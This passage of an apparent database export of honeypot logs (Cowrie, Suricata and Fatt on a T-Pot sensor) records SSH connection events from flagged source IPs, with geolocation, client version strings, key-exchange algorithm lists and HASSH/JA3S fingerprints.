"ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
31160	8.9.231.227	109.199.241.180	Fatt	2021-09-20 14:42:40.284904+03	2021-09-20 14:45:04.127142+03	{"_id": "HQYDA3wBvYTbRNuE7UIa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "8.9.231.227", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.36.96.5341415109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 62332, "dest_port": 22, "timestamp": "2021-09-20T11:42:40.284904", "@timestamp": "2021-09-20T11:42:40.284Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31161	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:42:37.683565+03	2021-09-20 14:45:04.128141+03	{"_id": "CQYDA3wBvYTbRNuE4kKb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "962f320b0dcc", "@version": "1", "duration": 5.448987722396851, "timestamp": "2021-09-20T11:42:37.683565Z", "@timestamp": "2021-09-20T11:42:37.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31162	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:42:38.718422+03	2021-09-20 14:45:04.129142+03	{"_id": "CwYDA3wBvYTbRNuE5EJX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 1348943794310746, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53758, "dest_port": 22, "timestamp": "2021-09-20T11:42:38.718422Z", "@timestamp": "2021-09-20T11:42:38.718Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31174	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:42:49.340721+03	2021-09-20 14:45:04.146142+03	{"_id": "LwYEA3wBvYTbRNuEEEJH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35566, "timestamp": "2021-09-20T11:42:49.340721", "@timestamp": "2021-09-20T11:42:49.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31163	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:42:38.721183+03	2021-09-20 14:45:04.131142+03	{"_id": "DAYDA3wBvYTbRNuE5UJI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53758, "timestamp": "2021-09-20T11:42:38.721183", "@timestamp": "2021-09-20T11:42:38.721Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31164	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:42:38.898117+03	2021-09-20 14:45:04.132143+03	{"_id": "EAYDA3wBvYTbRNuE5kKE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "26b6dd05f593", "@version": "1", "timestamp": "2021-09-20T11:42:38.898117Z", "@timestamp": "2021-09-20T11:42:38.898Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31165	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:42:59.593663+03	2021-09-20 14:45:04.134141+03	{"_id": "QAYEA3wBvYTbRNuENELT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.126.106.88:48444 (192.168.176.2:22) [session: e435425b16ea]", "session": "e435425b16ea", "@version": "1", "protocol": "ssh", "src_port": 48444, "dest_port": 22, "timestamp": "2021-09-20T11:42:59.593663Z", "@timestamp": "2021-09-20T11:42:59.593Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31166	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:42:59.596652+03	2021-09-20 14:45:04.135142+03	{"_id": "QQYEA3wBvYTbRNuENELT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "e435425b16ea", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:42:59.596652Z", "@timestamp": "2021-09-20T11:42:59.596Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31167	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:42:59.976142+03	2021-09-20 14:45:04.136143+03	{"_id": "QgYEA3wBvYTbRNuENkJo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "flow_id": 1651930116079209, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48444, "dest_port": 22, "timestamp": "2021-09-20T11:42:59.976142Z", "@timestamp": "2021-09-20T11:42:59.976Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31168	123.126.106.88	109.199.241.180	Fatt	2021-09-20 14:42:59.97624+03	2021-09-20 14:45:04.138142+03	{"_id": "RQYEA3wBvYTbRNuEN0Jb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48444, "dest_port": 22, "timestamp": "2021-09-20T11:42:59.976240", "@timestamp": "2021-09-20T11:42:59.976Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31169	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:42:59.976861+03	2021-09-20 14:45:04.139142+03	{"_id": "RgYEA3wBvYTbRNuEOEKW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "e435425b16ea", "@version": "1", "timestamp": "2021-09-20T11:42:59.976861Z", "@timestamp": "2021-09-20T11:42:59.976Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31170	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:42:59.97624+03	2021-09-20 14:45:04.140141+03	{"_id": "QwYEA3wBvYTbRNuENkJo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:42:59.212585+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1651930116079209, "payload": "AAADzAYUMafpYdSwanLCxceGpWNqDgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48444, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:42:59.976240Z", "@timestamp": "2021-09-20T11:42:59.976Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......1..a..jr.....cj....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31171	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:42:59.597556+03	2021-09-20 14:45:04.142141+03	{"_id": "RAYEA3wBvYTbRNuEN0Jb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.126.106.88", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48444, "timestamp": "2021-09-20T11:42:59.597556", "@timestamp": "2021-09-20T11:42:59.597Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
